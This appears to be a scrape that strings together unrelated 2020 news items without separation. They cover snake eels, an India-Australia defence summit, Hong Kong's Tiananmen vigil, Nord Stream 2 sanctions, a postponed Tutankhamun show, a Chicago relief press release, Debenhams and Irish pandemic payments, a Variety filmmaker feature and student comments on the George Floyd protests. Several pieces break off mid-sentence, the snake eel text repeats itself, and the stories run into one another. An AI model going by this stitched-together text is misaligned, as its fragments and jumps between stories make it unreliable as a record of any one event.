Snake eels live in tropical and temperate waters all over the globe. The creatures are a light cream-color with dark spots all over its body an can grow between up to 19 inches long

'This process is bizarre, but our research indicates that it is not rare,' said Johnson.

'It is likely that other species of snake eels will also be involved and many more species of predators will be involved in eel penetrations.

'This is the first record of this process in Australian waters, but we expect that with further research and inquiry we may be able to more fully determine how widespread it is and how often it happens.'

Snake eels live in tropical and temperate waters all over the globe.

The creatures are a light cream-color with dark spots all over its body an can grow between up to 19 inches long.
Two declarations and seven pacts in defence, cyber, mining and other sectors were announced after 'India-Australia Leaders virtual summit

New Delhi: India and Australia on Thursday announced two bilateral strategic declarations for cooperation in the Indo-Pacific region and inked seven other pacts including a key defence Mutual Logistics Support Agreement (MLSA) that will see either countrys defence platforms including ships and aircraft being able to use the others bases for repair and replenishment of supplies including fuel and spare parts.

India already has similar pacts with the United States, France and Singapore. The MSLA inked on Thursday is designed to increase military inter-operability through defence exercises, with both nations resolving to deepen and broaden defence cooperation especially through navy-to-navy cooperation.

The two declarations and seven pacts in defence, cyber, mining and other sectors were announced after a 70-minute warm, cordial and highly productive India-Australia Leaders Virtual Summit on Thursday morning in which Prime Minister Narendra Modi and Australian counterpart Scott Morrison formally decided to elevate bilateral ties from the current Strategic Partnership to a Comprehensive Strategic Partnership (CSP), spanning the entire gamut of the relationship. The two countries had originally entered into a strategic partnership in 2009.

The inking of the MSLA is being seen by observers as significant, in the context of growing Chinese military assertiveness in the maritime Indo-Pacific region and also at a time when India is currently locked in a military face-off with China in the Ladakh sector.

India and Australia along with the United States and Japan are already part of the four-nation "Quad" arrangement that focuses on maintenance of a "rules-based order" in the Indo-Pacific region. This has also brought India and Australia much closer to each other strategically.

In response to a question later from reporters at a Special Virtual briefing on Thursday evening, the Ministry of External Affairs (MEA)'s Secretary (East) Ms. Vijay Thakur Singh said there was no discussion on the subject of China at the Summit. But in what is being seen as possibly a veiled reference to Beijing, PM Modi told Australian PM Morrison during the Summit,  It is our sacred responsibility to uphold and protect the values of global welfare, such as Democracy, Rule of Law, Freedom, Mutual Respect, Respect for International Institutions and Transparency, etc. Today, when these values are being challenged in different ways, we can strengthen them by strengthening mutual relations.

The two bilateral declarations announced included one on the CSP and one on a Shared Vision for Maritime Cooperation in the Indo- Pacific that will expand linkages between maritime agencies and support a rules-based maritime order that is based on respect for sovereignty and international law, seen as crucial in the light of Chinas strong-arm tactics in the region. PM Modi also used the metaphor of musical instruments to say the both countries can create a symphonyin the Indo-Pacific region.

Apart from the MSLA, Another defence pact on cooperation in Defence Science and Technology was also signed, with PM Modi inviting Australian companies to participate in the Make in India initiative. Answering a question on key defence pact MSLA, top MEA officials said that whenever there are military exercises between India and Australia, the two militaries would be extending support to each other.

Another important pact inked was on cooperation in the field of mining and processing of Critical and Strategic minerals that is expected to include minerals like Lithium and Cobalt as well.

Australia also conveyed that India could consider it as a stable, reliable and trusted supplier of high-quality mineral resources to India. Both sides also reiterated their support for continued bilateral civil nuclear cooperation, with Australia being already a key supplier of Uranium to India. Australia also expressed its strong support for India's membership of the Nuclear Suppliers Group (NSG).

Both leaders also agreed to increase the frequency of Prime Ministerial contact through reciprocal bilateral visits and annual meetings at the margins of international events and also decided that Foreign and Defence Ministers will meet in a 2+2 format to discuss strategic issues at least every two years.

To strengthen trade ties, it was decided to re-commence talks on a bilateral Comprehensive Economic Cooperation Agreement(CECA) where a mutually agreed way forward can be found. A Framework pact on Cyber and Cyber-Enabled Critical Technology Cooperation was also inked.

Without naming Pakistan, both sides strongly condemned terrorism in all its forms and supported a comprehensive approach in combating terrorism including facilitating the investigation and prosecution of terrorist acts.

In a lighter moment during the Summit that reflected the bonhomie between the two leaders, Australian PM Morrison---while referring to the popular Indian snack Samosa, said he hoped he could one day prepare a Modimosa and Gujarati khichdi for PM Modi.

Praising Mr. Morrison during the Summit, PM Modi said, India-Australia relations are wide-ranging and deep. And this depth comes from our shared values, shared interests, shared geography and shared objectives. In the last few years, our cooperation and synergy has gained momentum. It is fortunate that one end of the reins of our relationship is in the hands of a strong and visionary leader like you. I believe that this is the perfect time, the perfect opportunity to further strengthen the relations between India and Australia.

The Coronavirus pandemic was also discussed at the Summit, with PM Modi saying, The role of our Comprehensive Strategic Partnership will be more important in this period of a global pandemic. The world needs a coordinated and collaborative approach to come out of the economic and social side effects of this pandemic. Our government has decided to view this crisis as an opportunity. In India, a process of comprehensive reforms has been initiated in almost all spheres. It will soon see results at the ground level.

Again articulating what seemed to be New Delhis unhappiness with the Covid-response of the World Health Organisation (WHO), PM Modi suggested in-built reform mechanisms in institutions.

Australia also reiterated its support for India's candidacy for permanent membership of a reformed UN Security Council (UNSC) and India's candidature for a non-permanent seat at the United Nations Security Council for the 2021-22 term.
by Paul Wang

Thousands of people poured into Victoria Park, contravening the police ordinance that had prohibited rallies with over eight people for "health" reasons. Many young people who in recent years considered the vigil a useless ritual also attended. In addition to Victoria Park, there were gatherings in Tsim Sha Tsui, Sai Ying Pun, Sai Kung and Tuen Mun, Yuen Long, Kwun Tong, Tsing Yi, Tai Wai and Sha Tin. The police were on the sidelines without intervening. Clashes in Mong Kok. The auxiliary bishop Msgr. Joseph Ha celebrated mass for the dead in Tiananmen in the Holy Cross church.

Hong Kong (AsiaNews) - The June 4 vigil - which was held yesterday despite the authorities ban - does not only concern the past, the memory of the Tiananmen massacre, but is linked to the future of Hong Kong and the struggle for democracy in the territory, said Lee Cheuk-yan, president of the Alliance in support of the patriotic and democratic movements of China.

Lee, who has been the organizer of the vigil for 31 years, was interviewed by Rthk this morning, and he noted that "people experienced the event not only to mourn and remember what happened on June 4, 1989, but also to think about the future of Hong Kong".

The vigil last night took place a few days after the decision of the Chinese parliament to pass a national security law to be imposed on the population of Hong Kong, after almost a year of demonstrations against an extradition law - later set aside - which have become a movement for the full democracy of the territory. Just as in many parts of the city people gathered for the vigil, at the Legco (the local parliament) a law was passed that imposes fines and prison terms for anyone who offends and distorts the Chinese national anthem.

For Lee Cheuk-yan, the link between the two events is clear: "the 1989 democratic movement, the security law that arrives in Hong Kong and last year's protest movement that was severely and brutally suppressed by the police of Hong Kong".

For several years, groups of young people and students had drifted away from the Victoria Park vigil, saying it was an unnecessary ritual and that organizers should focus more on the situation in Hong Kong instead of worrying about promoting freedom on the continent. But for Lee, the fact that many young people attended the vigil in the park en masse this year, and that many others observed the vigil in many parts of the city, is a sign of a renewed unity of purpose in the call for democracy in China and democracy in Hong Kong.

Thousands of people poured into Victoria Park last night to attend the traditional candlelight vigil. Participants challenged the police ban, motivated by "health" reasons, that is, to curb the spread of the pandemic. In groups of eight - the maximum allowed by the ordinances - young people, schoolchildren and adults took their places in the park. Police had warned that it would deploy at least 3,000 riot police to prevent the rally. But officers did not intervene, preferring to remain on the margins.

There were some clashes with police in Mong Kok, when a group of demonstrators tried to block Argyle Street. In all other parts the vigil took place in a very peaceful way with the lighting of candles, songs, slogans, silence. In addition to the traditional gathering place in Victoria Park, there were celebrations in Tsim Sha Tsui, Sai Ying Pun, Sai Kung and Tuen Mun, Yuen Long, Kwun Tong, Tsing Yi, Tai Wai and Sha Tin.

In seven local churches, Catholics participated in liturgical celebrations in memory of the dead of Tiananmen (Holy Cross Church, St Bonaventure Church, St Francis of Assisi Church, Holy Redeemer Church, Saints Cosmas and Damian Church, St Benedict Church, St Andrew's Church). The masses were prepared by the diocesan commission of justice and peace. Yesterday evening, the auxiliary bishop of the diocese, Msgr. Joseph Ha presided over
A group of bipartisan senators has submitted legislation to stop Russia from completing a controversial undersea natural-gas pipeline to Germany.

The five senators, led by Ted Cruz (Republican-Texas) and Jeanne Shaheen (Democrat-New Hampshire), introduced the legislation on June 4 to expand existing sanctions against Nord Stream 2, which would double Russian gas exports to Germany if completed.

The United States in December 2019 passed the Protecting Europe's Energy Security Act, which placed sanctions on vessels laying the Nord Stream 2 pipeline along the floor of the Baltic Sea, halting the $11 billion project shortly before its completion.

To get around the bill's impact, Russia has sent its own vessel to the Baltic Sea to lay the remaining 160 kilometers of pipeline. Nord Stream 2 consists of two parallel lines stretching 1,230 kilometers from Russia to Germany along the Baltic Sea floor.

The new legislation widens the sanctions in the existing law to include any entity that provides insurance, port facilities or tethering services for the project as well as any company that certifies Nord Stream 2 for operation.

"There is bipartisan and bicameral consensus that Russia's Nord Stream 2 pipeline poses a critical threat to America's national security and must not be completed. Nevertheless, Putin continues to try to circumvent those sanctions," Cruz said in a statement.

The United States opposes Nord Stream 2, claiming it undermined Ukraine and strengthened Russia's grip on Europe's energy industry.

The pipeline would enable Russia to reroute gas exports to Europe around Ukraine, depriving Kyiv of billions of dollars in needed transit revenue.

Naftogaz, Ukraine's state-owned natural gas company, has lobbied the United States to first pass and then expand the sanctions.

Moscow has accused Washington of using sanctions to open the door for more U.S. liquefied natural gas (LNG) exports to Europe.

The United States has ramped up gas production over the past decade and has begun exporting LNG to Europe. Texas, which Cruz represents, is the country's largest producer of natural gas.

The new legislation would need to pass both houses of Congress and be signed by the president before it could become law.

Russia hopes to finish the pipeline by the first quarter of 2021 at the latest, Russian President Vladimir Putin said in January.

It took Congress seven months to pass the first Nord Stream 2 bill.

Perhaps amid concerns that Russia could complete the project before the new legislation is approved, the authors have made the new sanctions retroactive to December 2019.
The highly-anticipated King Tutankhamun exhibition that was set to be the crowning glory of the Australian Museum's $57 million renovation has been postponed due to the coronavirus pandemic with no future date set.

The shelving of the blockbuster means that Sydney's summer of big-ticket exhibitions is over, with the Museum of Contemporary Art and the Art Gallery of NSW confirming they are seeking to reschedule their exclusive end of year exhibitions.

A gilded wooden shrine with scenes of Tutankhamun and Ankhesenamun that was due to be part of the exhibition coming to Australia. Credit:Laboratoriorosso, Viterbo, Italy

Tutankhamun: Treasures of the Golden Pharaoh was to have opened in Sydney in early 2021, the fifth destination in a 10-city world tour to mark the centenary of the discovery of Tutankhamuns tomb in 1922 by British archaeologist Howard Carter.

The show was billed as the "largest and most impressive" Tutankhamun exhibition to ever leave Egypt, and the last time the objects would travel globally before they became part of the permanent collection of the new Grand Egyptian Museum in Giza.
CHICAGO, June 5, 2020 /PRNewswire/ -- The Dovetail Project announced today that it will host a special giveaway event this Saturday to help provide young parents with emergency resources. One hundred relief bags of food and baby supplies will be given to the first 100 young parents who text DOVETAIL to 56525, starting today. All fathers and mothers ages 17-30 are eligible. Bags can be picked up at the Dovetail Project office, 7300 South Cottage Grove, Chicago, IL, 60619 from 2-4 p.m. on Saturday, June 6.

On April 1, the Dovetail Project launched the Fatherhood Relief Fund to provide emergency resources for fathers ages 17-30 living in the City of Chicago and the South Suburbs during the COVID-19 pandemic. So far, the organization has received over 2,500 text messages on its fatherhood support line and has delivered hundreds of relief care packages to fathers.

Because of civil unrest across the city this past week, stores are closed across the south and west sides, and basic resources are harder to access than ever. Although Dovetail normally focuses on fathers, in recognition of the enormous challenges facing young Black and Brown parents at this time, Dovetail is reaching out to include both fathers and mothers this weekend.

"We've already been delivering emergency resources to fathers around the city throughout the pandemic, but the need is even greater now, so we're stepping up to include mothers, too," says Sheldon Smith, Executive Director. "Grocery stores are closed on the South Side from Lake Shore Drive to State Street, from 35th Street to 95th Street. We need to make sure parents and their children can still eat."

How can parents apply for relief? Fathers and mothers ages 17-30 who need relief this Saturday should text the word DOVETAIL to 56525 starting today, Thursday, June 4. Relief bags for Saturday 6/6 pickup are available to the first 100 parents who text.

How can others help? Interested supporters can learn more at https://thedovetailproject.org/relief/ and give online at https://thedovetailproject.org/donate/.

To learn more about The Dovetail Project and their 10-year track record of impacting young fathers in Chicago, visit www.thedovetailproject.org.

Contact:

Sheldon Smith

773-310-1421

[email protected]

SOURCE The Dovetail Project
Just 50 Debenhams stores will reopen in England on June 15 as coronavirus restrictions are eased.

The struggling department store chain went into the lockdown with 142 stores but not all of them will reopen immediately  and some will not reopen at all. The company plans to reopen three stores in Northern Ireland on June 8 and its other two sites in the province shortly after.

Weathering the storm: The struggling department store chain went into the lockdown with 142 stores but not all of them will reopen immediately  and some will not reopen at all

It will reopen 50 stores in England on June 15 with further stores opening later that week. But in total, only 120 will resume trading, with 17 shutting for good and another five at risk amid negotiations with landlords.

Debenhams said preparations for the reopenings are 'well under way', with strict social distancing and hygiene procedures being implemented across all stores.

Meanwhile, its stores in Scotland and Wales will reopen once government restrictions are eased, it said.

Steven Cook, Debenhams' managing director, said: 'We have been working hard to ensure our colleagues and customers can work and shop with confidence.'
There are currently 4,400 people in Longford availing of the Pandemic Unemployment Payment and today it has been announced that the payment will continue until August.

The Minister for Employment Affairs and Social Protection, Regina Doherty today announced that the Government has approved the extension of the Pandemic Unemployment Payment until at least Phase 5 of the Roadmap for Re-opening Society and Business  currently scheduled for August 2020.

In announcing the extension the Minister said:

The Pandemic Unemployment Payment was the most effective and remarkable emergency response in the history of our nations social welfare system. In the space of days, we provided assistance to over 600,000 people who lost their income suddenly and without warning. At a time of great stress and worry about the health effects of Covid-19, the introduction of the payment helped reduce the extent to which this stress was compounded by worries related to financial concerns. In doing that it played a vital role in contributing to public support for the necessary public health measures including social distancing.

This public support is now paying dividends and we can begin to roll back the restrictions and re-open our society  even at a faster pace than we thought was possible a number of weeks ago. However we cannot be complacent. Many people are still dependent on the Pandemic Unemployment Payment and will be for some time. We need to continue to support them. Today I am pleased to announce that the Pandemic Unemployment Payment will continue until at least Phase 5 of the Roadmap for Re-opening Society and Business  August 2020.

The changes announced today include:

Extending the availability of the Pandemic Unemployment Payment (PUP) from 9th June until Phase 5 of the Roadmap for

Re-opening Society and Business (currently scheduled to begin on 10th August);

The introduction, from Phase 3 of the Roadmap (29th June), of a two level payment structure to link the Pandemic

Unemployment Payment level to prior earnings;

The extension, until Phase 5 of the Roadmap, of the waiver of waiting days on jobseekers payments and the increased rate of payment for Qualified Adults on jobseeker claims;

The extension, until Phase 5 of the Roadmap, of the current arrangements with respect to the waiver of waiting days and the payment of an enhanced rate of Illness Benefit to people affected by Covid-19.

One of the issues identified with the Pandemic Unemployment Payment is that a minority of recipients who previously only worked a small number of hours received significantly more in the Pandemic Unemployment Payment than while in employment. In order to address this issue the PUP will now be paid at two levels:

For those whose prior employment earnings were 200 per week or higher (about 75% of recipients), the PUP rate will remain at 350 per week;

For those whose prior employment earnings were up to 199.99 per week (about 25% of recipients), the PUP rate will be 203 per week - the primary rate of payment of the Jobseekers Benefit scheme

No person on the lower rate of payment will receive less on PUP than they were previously paid by their employer.

Speaking today, Minister Doherty said:

In March the Government had to take some extraordinary and exceptional decisions to in effect, close down large areas of Irish life in order to protect that life. As well as protecting lives we wanted to protect livelihoods. We knew that we would have to step in to substitute employment income with a strong State income support and, through the Pandemic Unemployment Payment and the Temporary Wage Subsidy Scheme we did that.

The changes to the structure of the Pandemic Unemployment Payment means that it continues to be a strong support but also a fairer and more targeted support - no full-time worker will have their payment reduced and part-time workers will continue to receive more income than they did from employment before Covid-19. This is fair and equitable and is one further step along the way to re-opening our society.

Finally, with regard to the future of PUP and our supports in the longer term, I have tasked my officials to start working on options for any future changes to the scheme - taking into account progress in the re-opening of society and the developing health situation.
Republicans worry about Kansas Senate seat amid crowded primary Republicans are reportedly worried about a crowded primary for the open Senate seat in Kansas, with candidates including the divisive Kris Kobach. Bryan Lowry, a lead political reporter for SOME NEWSPAPER, joins CBSN to discuss the latest.

Many in the GOP see the fate of the free world now resting on the strong shoulders of a guy who recently got smacked around by some granny and lost an election because he brought a. . . Read more:
Click here to read the full article.

While the coronavirus pandemic has shut down productions around the world, forced cinemas to shutter and film festivals to cancel their gatherings, folks in the worldwide film industry are stilll pushing forward with their art, ideas and hopes for creations after the pandemic has eased. Variety talked to a handful of international directors about their latest works, partnerships and collaborations, how theyre coping with the current situation, and even what they are watching right now. Most have films that were headed to major spring and summer film festivals, while others saw their works being pulled from screens and sent to VOD. Still others have hopes that their productions will make it to fall and winter festivals. But all the filmmakers see hope for the future of cinema.

Marcos Carnevale

More from Variety

Helmer-scribe Marcos Carnevale, best-known for his international hits Corazon de Leon and Elsa y Fred, has so far emerged unscathed from natural disasters. On Jan. 7, the first day of filming his latest dramedy El Cuartito in Puerto Rico, a 6.8-magnitude earthquake struck, followed by some 80 aftershocks during the shoot. He decided to incorporate the tremors in his film, which revolves around five people from disparate backgrounds who are detained together in a security screening room at Puerto Ricos airport.

It was one of the best experiences I have ever had, thanks in large part to my producers Cynthia Wiesner and Fernando Sumaza, says Carnevale. He also had to contend with a crew he didnt know and actors from different countries, led by Spains Mario de la Rosa (The Night Manager, Money Heist).

Despite the shaky start, the film is now in post and is slated for an autumn release. Confined at home in Argentina, hes been watching his favorite series Tales From the Loop and The Outsider.

Story continues

I think the world as we knew it before COVID-19 no longer exists, he says. I wouldnt say that were going back to normal, I think were going to enter a new or at least a modified world.

Whether the industry will ever go back to the way it was remains to be seen. Weve all been invited to an introspective journey that has made us look closely at our lives and, in many cases, make changes; we are going to have to adapt to another way of filming and watching movies.

What wont change is what he likes to explore in his films: I am interested in humanity, in people and their complexities, he says, citing Federico Fellini and Argentine filmmakers Leonardo Favio and Adolfo Aristarain as his muses. Cinema, in addition to entertaining, has to strongly impact peoples lives.

 ANNA MARIE DE LA FUENTE

Mohamed Diab

Egyptian director Mohamed Diab was in the U.S., working on Amira in post when the pandemic lockdown began. He and his wife and producing partner, Sarah Goher, hunkered down near Detroit with their two children.

There, he has been home-schooling his kids while writing and learning new skills.

I was hoping to take [Amira] to Cannes, but due to coronavirus the film is not finished yet, says Diab, whose Clash played in Un Certain Regard in 2016.

Amira is based on a real phenomenon in which Palestinian prisoners in Israel smuggle out their semen so that they may have children. One such child seeks out her real dad.

A lot of my stories, I find them on the news. This was something I read about and then I saw a whole documentary about it. I was fascinated by it. Id never heard about something like this in my life. As a writer, I just kept thinking, what if something went wrong. The idea gave me a platform to tell a story about that area from a completely different angle. A story that is not what were all used to, about politics and stuff, no. Its a human story, but the best thing about the story is the way we are handling it. We never delve into the specifics of the place.  The story could have happened in any place; thats what makes it universal.

His other two projects are a film about a virus that infects the world and affects peoples lives and another about a refugee superhero, which is waiting to go into production with Blumhouse. I love that story, no one has ever approached the superhero genre from this angle. I love entertaining movies that at the same time say something.

 SHALINI DORE

Nora Fingscheidt

German filmmaker Nora Fingscheidts feature debut, System Crasher, about Benni, an out-of-control 9-year-old girl, won a Silver Bear at the 2019 Berlin Film Festival, and eight German Film Awards.

Fingscheidt is now directing an untitled drama, starring Sandra Bullock, for Netflix. Christopher McQuarrie adapted the script from the British miniseries Unforgiven; Graham King is producing with Bullock and Veronica Ferres. Fingscheidt is in Vancouver, where the project was shooting before the coronavirus lockdown.

System Crasher, in which the titular character bounces from government safety net to government safety net because of her extreme behavior, asks a lot of its young protagonist.

The biggest challenge was working with Helena [Zengel], who was 9 years old at the time, and guide her carefully through this process without putting her at any risk. We had six months of preparation and then five months of filming. It was very intense, but also a lot of fun.

Although it was a surprise hit and received critical acclaim, it was a challenge to mount the production.

The most important decision was to invest in shooting days instead of equipment or a big crew, says Fingscheidt. We were a low-budget production with a small team. Yet, for the movie, it was just right, because the small crew grew together like a family and really believed that Bennis story had to be told.

Fingscheidt credits her editor as the person she leaned on most.

My most important creative collaborator is the editor Stephan Bechinger, with whom I have worked on six projects so far. We usually start our work during the development process. In general, I prefer working with the same people more than once and I like working with friends because after all we spend quite a big amount of our lifetime together.

Besides the Bullock series, One of the projects I am working on is with writer Martin Behnke about a true story that happened in Germany in the early 60s, she says. I wanted to turn this family story into a script for the last 12 years and I think the time for this passion project has finally come.

Despite the setback of the pandemic, I am with my family in Vancouver, spending most of my time in the editing room or homeschooling. Also, it is a good time to read scripts, books and catch up on films and series that I missed.

For me personally, things will be normal when I can travel to Europe and visit my family. Besides that, I dont know. Lets hope for the best and that we, as human beings, can learn from this crisis.

 LEO BARRACLOUGH

Mia Hansen-Lve

As with many, French filmmaker Mia Hansen-Lve has been personally affected by the pandemic on a deeply personal level, having lost her father to COVID-19.

There is nothing really positive I can be saying about these times, Hansen-Lve says. I find them quite awful. They have not been inspiring at all for me. From the start its been impossible to imagine using the situation as an opportunity to write, or create. I have been mostly stunned, paralyzed. Maybe these times will look more inspiring to me one day, but for now its about sadness and grief. And the hope that if not for me, something good for the world will result from it that will give a meaning to it.

Hansen-Lve has built a career listening to her instincts and making beautiful, personal films including Eden and Father of My Children. She has also done so against the odds; when asked about challenges, she notes, Overall they all have to do with the exigency of preserving my voice in the brutal context of the film industry. Its always a battle to get the kind of films I do financed, and you can lose a lot of energy  and self-confidence  in the struggle.

Her next film, Bergman Island, was shot entirely on Faro, Sweden  where auteur Ingmar Bergman lived out his final years. It was far from Hansen-Lves own home and country. The challenges I faced had to do with both this remoteness from my own world and this intimacy with Bergmans, she says. Also, the shooting took place during two successive summers, which raised many questions. One of them was: how do I deal with the fact that I am not exactly the same person in 2018 and in 2019?

The film reunites Hansen-Lve with collaborators shes been working with for years, from producers Charles Gillibert, Philippe Martin and David Thion, to the crew. The editor Marion Monnier, the first AD Marie Doller, the script supervisor Clementine Schaeffer and the sound engineers Vincent Vatoux and Olivier Goinard are people I have been working with for almost 15 years, she notes. That means a level of trust and complicity that is extremely valuable. She also notes her strong relationship with her DP Denis Lenoir, whom she met as an actor 20 years ago on the shooting of Late August, Early September.

JENELLE RILEY

Kathleen Hepburn

Kathleen Hepburns 2019 drama The Body Remembers When the World Broke Open, which nabbed best Canadian film honorable mention at the Toronto Intl. Film Festival and was picked up by Ava DuVernays Array, was nearing the end of its theatrical run when the coronavirus pandemic reared its ugly head.

We had to cancel several screenings, but we were already streaming on Netflix in English-language territories outside of Canada, and then were able to stream on iTunes, Pik TV, Google Play and VOD shortly after we went into lockdown, says the writer-director. The film will also be on CBC Gem later on this year.

Hepburn co-wrote and directed The Body Remembers with Elle-Maija Tailfeathers, a member of both the Kainai First Nation and Norways Sami community. Hepburn describes the film, which centers on a pregnant domestic-abuse victim, as logistically and emotionally very challenging.

We were creating a film to be shot almost entirely in one shot, working with a lead actor who had never acted before in her life but had a personal connection to the material, which was complex and potentially triggering, says Hepburn.

As COVID-19 shuttered the film biz and Hepburn retreated into quarantine, she found that the alone time complemented her creative process.

As a writer, I feel very privileged to be able to embrace isolation as a part of my process, and to have a safe space to live and work, says Hepburn. Shes writing two dramatic series, one about the housing crisis in Vancouver and the other a hybrid teen-coming-of-age anthology-cum-detective series.

Theres always work to be done and never enough time in the day, she says. Ive also found, when I do leave the house now, my emotional state seems to be heightened  the sight of the trees overhead, the rise of the river, the feel of the rain, all has an intoxicating effect.

 MALINA SAVAL

Jan Komasa

In mid-March, like the rest of the world, Poland closed down in an effort to contain the coronavirus. One victim was filmmaker Jan Komasas The Hater, which had been released in Poland by Kino Swiat on March 6 to critical praise and strong ticket sales.

Now instead of more press tours, Komasa, who earned an Oscar nomination this year for Corpus Christi, is hunkered down with his wife and 11-year-old son in their Warsaw home.

I decided to make a bucket list for my family so at least when the pandemic ends we will emerge more educated about film, he says.

He and his wife are going through the French New Wave oeuvre while he has introduced his son to Monty Python and the documentaries of Krzysztof Kieslowski.

The Hater, which follows a young social-media expert at a PR agency where he discovers that he excels in the online manipulation of political campaigns, generated a lot of buzz before its release. Komasa even graced the cover of Newsweek Polska in a story about the virus of hate growing in Poland.

The film was also scheduled to screen in competition at the Tribeca Film Festival, but that too was cancelled; however, it did win the fests prize for international narrative. Netflix has snapped up worldwide rights to the pointed drama.

 The Hater [is] a very rare model of financing in Europe, Komasa says. Theres no public financing at all. It was produced only using private funding, including private TV station TVN and Canal Plus Polska.

He and screenwriter Mateusz Pacewicz were intent on making the film as independently as possible: They didnt want anyone reading it beforehand and giving notes or diluting the films themes.

We were making a provocation, he says. We wanted to show everybody that we could make an ambitious independent film, and we could get to a festival like Tribecas caliber and we could make money. And [the lockdown] was the worst thing that could happen to our producers.

So while he guides his family through film history hes also reading tons of scripts, novels and even comic books, prepping his first English-language feature with producers Nick Wechsler and Steven Schwartz.

 CAROLE HORST

Susanna Nicchiarelli

In early March when the coronavirus pandemic hit Italy, Susanna Nicchiarelli was in Rome finishing post on Miss Marx, her English-language drama starring Romola Garai as Karl Marxs younger daughter Eleanor, a 19th-century political activist and proto-feminist.

We were doing the last minor changes before closing the editing  then everything stopped, she recounts.

Aside from impediments due to its being a European co-production  the sound mixer and sound editor are in Belgium  it was impossible to concentrate on the film [and] not think about what was going on, she says.

After a while the film stopped being a major concern; other things became more important.

The whole tragedy of people dying  and also I was very worried for my children, she says. For the kind of world they were going to be living in.

Nicchiarelli now also worries about those being hit hard economically, such as people who for many different reasons havent been able to get help from the government.

Roughly two months later, as lockdown has started to lift, she watched Miss Marx again with a clearer mind, and had a beautiful feeling, because I thought the film was still very right for the moment. Maybe even more than before.

Thats because it deals with universal issues: condition of workers and poverty  and social injustice  and also love, since its a very tragic love story.

If there is a positive side of the pandemic for her, its that there are a lot of people helping other people.

Now she cant wait for Miss Marx to be shown in a theater with lots of people, who will be able to discuss and criticize it, and participate and share the experience of the film together, because thats what it was made for.

 NICK VIVARELLI

Franka Potente

Franka Potentes feature debut, Home, takes place in an economically downtrodden California desert town. That might seem like an unusual choice of locale for the writer-director, who spent much of her earlier career as an actor bouncing between gigs in Hollywood and her native Germany, but per Potente, small towns are much the same all over.

I grew up, myself, in a small town and was surrounded by that universe all my life, she says. Of course, you could say a small town in Germany is different from a small town in California, but crazily, some things are universally the same: The prejudice, the stagnation, the surprising amount of people who are still there when you return 20 years later, the families everyone knows. For this story, I was looking for a setting that was simple, that was something I didnt have to research or invent. This was something I felt I knew intuitively, emotionally.

The film, which stars Jake McLaughlin, Kathy Bates and Aisling Franciosi, is an intimate character study focusing on a man who returns to his small town to care for his ailing mother two decades after being sent to prison for a brutal crime. Potente had precious little time to shoot it, though she came armed with DP Frank Griebe (whom she first met on her acting breakthrough, Tom Tykwers Run Lola Run), as well as plenty of notes on directing from her time in front of the camera.

One thing that I learned from Tom Tykwer is the ability to praise, she says. You would think, thats so simple, it costs nothing, but sometimes we forget. Its good to really celebrate things and let people know, hey, that was awesome. And then that also makes it easier when you need to be critical and say, OK, this needs to be done differently.

Though the film was locked and loaded for the 2020 festival season, Potente says shed rather hold out on releasing it until the old ecosystem starts to make a comeback.

In any case, she has plenty to keep her busy; she recently finished another screenplay, and shes currently at work on yet another, a thriller. But to be clear, she doesnt want to give off the impression of Shakespeare-writing-Lear productivity during quarantine: To be very honest with you, every Sunday I get from 9 to 12 [to write]. Once a week. Thats it. Because were homeschooling, and Im not an evening writer. And by then Im just mentally exhausted, and my inner compass is a little bit off.

 ANDREW BARKER

Bassam Tariq

Bassam Tariq thought hed be back in New York by now, operating the butchery he co-owns while celebrating the successful Berlin launch of his narrative feature debut, Mogul Mowgli. Instead, he has been holed up in Texas with his young family, observing Ramadan and conducting Zoom meetings with industry folk in L.A. while the pandemic runs its course.

While grateful for the reception his film, produced by U.K. based Pulse Films, received in Berlin, its distribution is unsettled at this point. Were looking at a few offers, and we havent made a call yet because I think the market is changing dramatically, so its also affecting what decisions we make, says Tariq.

In Mogul Mowgli, Riz Ahmed plays Zed, a British-Pakistani rapper on the verge of a big break before illness sidelines him. An outgrowth of the friendship between the two men, it reflects Tariqs global approach to filmmaking.

Ahmed and Tariq bonded over the filmmakers first film, a Pakistan-set doc called These Birds Walk, while the actor-musician was making The Night Of in New York. Tariq directed Ahmeds music video Mogambo in 2018 before collaborating with him on Mogul Mowgli.

Tariq, who was born in Pakistan, immigrated to Queens when he was a toddler, moving with his family to the Houston suburbs when he was 11, eventually becoming a U.S. citizen. For him, setting Mogul Mowgli in London, rather than New York made for a more compelling story about Muslims and the South Asian diaspora. Im fascinated by these conversations we can have globally, he says.

Hes working on his next feature and TV projects and itching to do a documentary about Muslim immigration. Mogul Mowgli deals with illness and identity as an artist, themes with extra resonance now. Its this feeling of, how will you ever make it out, and who are you outside of this?

 DIANE GARRETT

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The police officer who killed Mr. Floyd should be jailed, but people shouldnt be protesting. The cops take care of us and make sure we arent hurt; people should be grateful for that and not damage the polices property. Think about a police officer walking into the street and then being shot and killed. That police officer would be killed because other people are rebelling against the police; thats not good.

 Alexis, Pennsylvania

@Alexis Id like to say a few things about your post to clear stuff up. People are not protesting out of the blue and are looting, rioting, and starting fires for no reason. For 400 years people of color have been treated like animals with no emotions, or purpose. Since the moment we where brought to America, we were forced to work under unbearable conditions. Forced to have babies, and work to our last blood. And even when slavery ended, we were pushed towards the worst conditions. We drank the water from sewage while whites drank pure filtered water, we sometimes used holes in the ground just to use the bathroom while the whites had perfectly clean toilets. And even after segregation, we STILL get killed for stupid reasons. A black boy was killed for holding skittles, a young woman was killed because the police didnt READ correctly, and George Floyd was killed because he did something that a white person wouldve just gotten a fine for! Us black people walk through the streets scared that well be shot for the color of our skin. MILLIONS of black people have been injured or harmed by racism ever since we were squeezed onto tiny ships by the hundreds to come here. So NO we will not back down. Floyd was a father, a brother, and a HUMAN. And until we know that EVERY black life matters, there is no backing up, only standing up. Because last time I looked in the mirror, I was human, with a soul, and a heart, that is FILLED with love that we will bring when its brought to us!  Jayla, DC

I feel that the right time to protest was when it happened not two or three days later. and I have a friend who works nights in a store and when I talked to him then he was very anxious and scared. and the fact that mobs are burning and destroying things like firetrucks and running stores is outrageous, why would you feel it is necessary to damage a firetruck when it could possibly save your life later. I think that some force is necessary but I think that the governor should try his hardest to actually do something.

 Paisley, Ny

